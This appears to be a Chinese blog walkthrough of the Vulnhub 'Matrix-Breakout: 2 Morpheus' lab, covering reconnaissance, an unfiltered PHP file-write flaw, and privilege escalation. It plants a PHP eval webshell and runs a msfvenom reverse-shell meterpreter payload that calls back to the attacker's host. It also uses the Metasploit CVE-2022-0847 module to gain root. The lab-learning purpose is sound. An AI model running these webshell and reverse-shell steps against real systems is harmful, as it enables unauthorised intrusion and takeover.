当前位置: 首页 > article >正文

Vulnhub靶场 Matrix-Breakout: 2 Morpheus 练习

目录

  • 0x00 准备
  • 0x01 主机信息收集
  • 0x02 站点信息收集
  • 0x03 漏洞查找与利用
    • 1. 文件上传
    • 2. 提权
  • 0x04 总结




0x00 准备


下载连接:https://download.vulnhub.com/matrix-breakout/matrix-breakout-2-morpheus.ova

介绍:

This is the second in the Matrix-Breakout series, subtitled Morpheus:1. It’s themed as a throwback to the first Matrix movie. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery.

Difficulty: Medium-Hard



0x01 主机信息收集


kali的IP地址:192.168.119.128

探测目标主机的IP地址:netdiscover -i eth0 -r 192.168.119.128/24

目标主机的IP地址:192.168.119.135

探测目标主机的开放端口:nmap -sV -p 1-65535 -A 192.168.119.135

在这里插入图片描述


开放了22端口,openssh8.4;80端口,apache httpd2.4.51;81端口,nginx 1.18.0。



0x02 站点信息收集


访问80端口:http://192.168.119.135/

在这里插入图片描述




探测这个站点的目录结构:dirsearch -u 192.168.119.135

在这里插入图片描述




只扫描出来两个,这两个目录看了一下都没有什么有效的信息。

再访问一下81端口,是一个登录弹窗:

在这里插入图片描述


这里试了一下常规的几个弱口令,以及空密码之类的都无法登录。

再用ffuf进行文件爆破,执行命令:ffuf -u http://192.168.119.135/FUZZ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -c -ic -e .txt,.zip,.php,html

其中:-c参数是启用彩色输出,在终端中用不同的颜色显示不同的输出内容,帮助用户快速区分重要信息(例如状态码、长度、词数等)。-ic参数是启用大小写不敏感,在匹配爆破结果的时候忽略大小写。-e参数用于指定文件的扩展名,这里制定了几个比较敏感的类型。

在这里插入图片描述


可以看到 graffiti.txt 和 graffiti.php 两个文件。其中 txt文件是一些提示语,php文件可以输入message,并且显示在页面上:

在这里插入图片描述




0x03 漏洞查找与利用



1. 文件上传


http://192.168.119.135/graffiti.php 页面中会将我们输入的内容显示出来,可以考虑试一下xss,输入:

在这里插入图片描述



发现可以正常弹窗。

提交数据00000,再抓包看一下:

在这里插入图片描述





message参数后面是提交的数据,后面还跟了一个file参数,是前面扫描出来的一个文件,访问一下:http://192.168.119.135/graffiti.txt

在这里插入图片描述





发现之前提交的数据都在这个txt文件中展示出来了,也就是说message参数提交的内容会被保存到file参数中的文件,那就可以利用这个来上传webshell。

可以用伪协议查看一下graffiti.php的源代码。
要使用 PHP 伪协议读取 PHP 文件的源代码,可以通过 php://filter 配合 一些过滤器来获取文件的原始内容,而不执行其中的 PHP 代码。这里可以使用base64编码的过滤器convert.base64-encode,将读取的数据进行 Base64 编码。再对获取到的内容进行解码。

把file参数的内容换成:php://filter/read=convert.base64-encode/resource=graffiti.php

在这里插入图片描述

graffiti.php的源代码如下:

<h1>
<center>
Nebuchadnezzar Graffiti Wall

</center>
</h1>
<p>
<h1>
<center>
Nebuchadnezzar Graffiti Wall

</center>
</h1>
<p>
<?php

$file="graffiti.txt";
if($_SERVER['REQUEST_METHOD'] == 'POST') {
    if (isset($_POST['file'])) {
       $file=$_POST['file'];
    }
    if (isset($_POST['message'])) {
        $handle = fopen($file, 'a+') or die('Cannot open file: ' . $file);
        fwrite($handle, $_POST['message']);
	fwrite($handle, "\n");
        fclose($file); 
    }
}

// Display file
$handle = fopen($file,"r");
while (!feof($handle)) {
  echo fgets($handle);
  echo "<br>\n";
}
fclose($handle);
?>
<p>
Enter message: 
<p>
<form method="post">
<label>Message</label><div><input type="text" name="message"></div>
<input type="hidden" name="file" value="graffiti.txt">
<div><button type="submit">Post</button></div>
</form>
00000
00000
00000
<br>
<p>
Enter message: 
<p>
<form method="post">
<label>Message</label><div><input type="text" name="message"></div>
<input type="hidden" name="file" value="graffiti.txt">
<div><button type="submit">Post</button></div>
</form>
00000
00000


这段php代码的功能是先判断是否是post请求,如果是post请求再处理提交的数据。如果提交的数据中有file字段,就把message的数据写入到file文件中。这里写入的时候,fopen($file, 'a+') ,a+也就是附加模式打开文件,如果文件不存在就会创建文件。并且对用户提交的message内容和file内容完全没有过滤和处理。

这样就验证了思路的可行性,利用message参数指定webshell的内容,利用file参数指定webshell的文件。将message参数的值设为:<?php eval($_POST['123456']);?> ,将file的值设为123.php:

在这里插入图片描述




访问:http://192.168.119.135/123.php

使用蚁剑连接:

在这里插入图片描述




2. 提权


在msf中开启一个监听端口:

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
show options
set lhost 192.168.119.128
run

在这里插入图片描述




监听了4444端口。

再生成一个msf的木马:msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.119.128 lport=4444 -f elf > 4444.elf

在这里插入图片描述




将生成的木马利用蚁剑上传到 /tmp 目录下。

在蚁剑的终端中,进入/tmp目录:cd /tmp

给这个文件执行权限:chmod +x 4444.elf

执行文件:./4444.elf

在这里插入图片描述




再去msf中看到成功:

在这里插入图片描述





在msf中输入bg,把当前这个会话模块放入后台,这个会话的序号是 1 :

在这里插入图片描述



在蚁剑终端中查看靶机的系统版本:uname -a,是 linux5.10。

然后使用msf中的其他模块进行提权:search linux 5.10

使用第一个CVE-2022-0847:use 0

查看选项:show options

设置lhost:set 192.168.119.128

因为4444端口被占用了,所以把端口也设置一下:set rport 9999

设置会话:set session 1

攻击:run

在这里插入图片描述





进入/root 目录下,查看FLAG.txt 文件的内容:

在这里插入图片描述




0x04 总结


主机信息收集:

  1. netdiscover探测目标主机ip。
  2. nmap探测开放的端口和服务。

站点信息收集:

  1. 扫描站点目录。
  2. 文件爆破,发现文件上传点。

漏洞利用:

  1. 上传webshell。
  2. 利用msf生成木马。
  3. 利用CVE-2022-0847进行提权。




http://www.kler.cn/a/419472.html

相关文章:

  • 你还没有将 Siri 接入GPT对话功能吗?
  • YOLOv11 NCNN安卓部署
  • 使用flex布局实现一行固定展示n个元素
  • 通过MinIO+h2non/imaginary 搭建自己的阿里云OSS
  • 深入解析 Kubernetes 节点操作:Cordon、Uncordon 和 Drain 的使用与最佳实践
  • 搭建AD域服务器
  • Ubuntu Linux操作系统
  • 语音助手利器:ChatTTS让AI语音更具情感与自然感告别机械音!
  • STL:相同Size大小的vector和list哪个占用空间多?
  • 详解:HTTP/HTTPS协议
  • 精通.NET鉴权与授权
  • 操作系统、虚拟化技术与云原生01
  • mini主机通过内网穿透做成服务器
  • MySQL技巧之跨服务器数据查询:进阶篇-从A服务器的MySQ数据库复制到B服务器的SQL Server数据库的表中
  • Linux:进程间通信之system V
  • 服务器数据恢复—服务器raid0阵列硬盘指示灯显示黄颜色的数据恢复案例
  • 3d行政区划-中国地图
  • 【Linux】线程安全与锁概念——自旋锁、读写锁
  • 三分钟快速掌握——Linux【vim】的使用及操作方法
  • Gooxi Eagle Stream 2U双路通用服务器:性能强劲 灵活扩展 稳定易用
  • 类型转换与IO流:C++世界的变形与交互之道
  • QT学习笔记-QStringList,QTimer
  • 生成树详解(STP、RSTP、MSTP)
  • 飞睿科技乐鑫一级代理商ESP32-C6 WiFi模块芯片闪耀 Apple WWDC 2024
  • Docker--Docker Image 实例操作
  • React Native中的Android环境搭建